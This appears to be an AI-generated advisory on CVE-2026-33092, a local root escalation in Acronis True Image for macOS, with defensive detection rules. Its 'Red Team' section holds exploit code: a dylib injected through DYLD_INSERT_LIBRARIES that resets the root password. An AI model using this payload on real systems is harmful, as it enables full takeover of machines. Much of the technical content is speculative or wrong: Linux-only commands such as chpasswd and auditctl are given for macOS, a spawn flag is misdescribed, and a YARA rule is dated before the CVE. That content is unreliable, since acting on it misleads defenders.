CVE-2026-33092

Executive Summary

CVE-2026-33092 is a local privilege escalation vulnerability affecting Acronis True Image for macOS. The flaw stems from improper handling of environment variables, allowing a low-privileged local attacker to escalate privileges to root. With a CVSS score of 7.8, this vulnerability poses a significant risk in shared or multi-user macOS environments where Acronis True Image is installed. No public proof-of-concept or exploit code has been identified at this time, but the attack vector is local and requires low complexity.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary macOS application distributed by Acronis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is required beyond the attacker's own.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full file system access possible.
• Integrity Impact: High (I:H) – Arbitrary code execution as root.
• Availability Impact: High (A:H) – System instability or denial of service.

Threat Level: High. Local exploitation can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in how Acronis True Image for macOS handles environment variables during privileged operations. The application likely executes helper processes or scripts with elevated privileges (via setuid or launchd plists) without sanitizing environment variables such as DYLD_INSERT_LIBRARIES, DYLD_LIBRARY_PATH, or PATH. An attacker can manipulate these variables to inject malicious code or libraries that will be executed with root privileges.

Attack Flow:

1. The attacker gains a low-privileged shell on the target macOS system.
2. The attacker sets a malicious environment variable (e.g., DYLD_INSERT_LIBRARIES pointing to a crafted dylib).
3. The attacker triggers the vulnerable Acronis process (e.g., by running a backup or restore operation).
4. The process executes with root privileges, loading the attacker's malicious library.
5. The malicious library executes arbitrary code as root, granting full system control.

The vulnerability is present in both the OEM and retail versions of Acronis True Image for macOS.

Vulnerable vs. Patched Code

No specific code snippets are publicly available. However, the fix likely involves sanitizing or clearing environment variables before executing privileged operations. In macOS, this can be done using posix_spawnattr_setflags with POSIX_SPAWN_CLOEXEC_DEFAULT or by explicitly unsetting dangerous variables.

Vulnerable Pattern (Conceptual):

// Vulnerable: Inherits all environment variables
posix_spawn(&pid, path, NULL, NULL, argv, environ);

Patched Pattern (Conceptual):

// Patched: Clears dangerous environment variables
char *clean_env[] = {"PATH=/usr/bin:/bin", "HOME=/var/root", NULL};
posix_spawn(&pid, path, NULL, NULL, argv, clean_env);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a macOS system with Acronis True Image (vulnerable build).
• A standard user account.

Steps:

1. Create a malicious dynamic library:

   // evil.c
   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   __attribute__((constructor))
   void pwn() {
       setuid(0);
       setgid(0);
       system("echo 'root:newpass' | chpasswd");
   }
   

   Compile: gcc -dynamiclib -o evil.dylib evil.c

2. Set the environment variable:

   export DYLD_INSERT_LIBRARIES=/path/to/evil.dylib
   

3. Trigger the vulnerable Acronis process (e.g., run a backup):

   /Applications/Acronis\ True\ Image.app/Contents/MacOS/Acronis\ True\ Image
   

4. After execution, the root password is changed, granting full access.

Note: No public exploit exists; this is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual environment variables in process spawns:

  auditctl -a always,exit -S execve -F key=env_monitor
  

• Look for processes spawned with DYLD_INSERT_LIBRARIES set.

Hardening:

• Apply the vendor patch immediately.
• Restrict local user accounts and enforce least privilege.
• Use macOS System Integrity Protection (SIP) to prevent library injection into protected processes.
• Monitor for unexpected privilege escalations via audit logs.

Indicators of Compromise (IOCs)

• File: /tmp/evil.dylib or similar suspicious dylib files.
• Process: Acronis True Image process spawning with unusual environment variables.
• Log: macOS unified log entries showing DYLD_INSERT_LIBRARIES usage:

  log show --predicate 'eventMessage contains "DYLD_INSERT_LIBRARIES"'
  

• Network: No network IOCs expected (local vulnerability).
• Registry/Config: Modified /etc/sudoers or /etc/passwd after exploitation.

Detection Engineering

YARA Rule

rule CVE_2026_33092_Acronis_PrivEsc {
    meta:
        description = "Detects exploitation attempts of CVE-2026-33092 via DYLD_INSERT_LIBRARIES"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $s1 = "DYLD_INSERT_LIBRARIES" nocase
        $s2 = "Acronis True Image" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Acronis True Image Privilege Escalation via Environment Variables
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects processes spawned with DYLD_INSERT_LIBRARIES by Acronis True Image
author: Valters IT
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        Image|endswith: '/Acronis True Image'
        Environment|contains: 'DYLD_INSERT_LIBRARIES'
    condition: selection
falsepositives:
    - Legitimate debugging or testing scenarios
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2026-33092 Acronis True Image Privilege Escalation"; content:"DYLD_INSERT_LIBRARIES"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Acronis True Image for macOS to build 42571 (OEM) or 42902 (retail).
2. Workaround: If patching is not possible, restrict local user accounts and disable the Acronis service until patched.
3. Monitor: Enable auditing for process creation and environment variable usage.

Long-term Measures:

• Implement application whitelisting to prevent unauthorized code execution.
• Regularly review and apply vendor security updates.
• Conduct periodic security assessments of third-party software.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.

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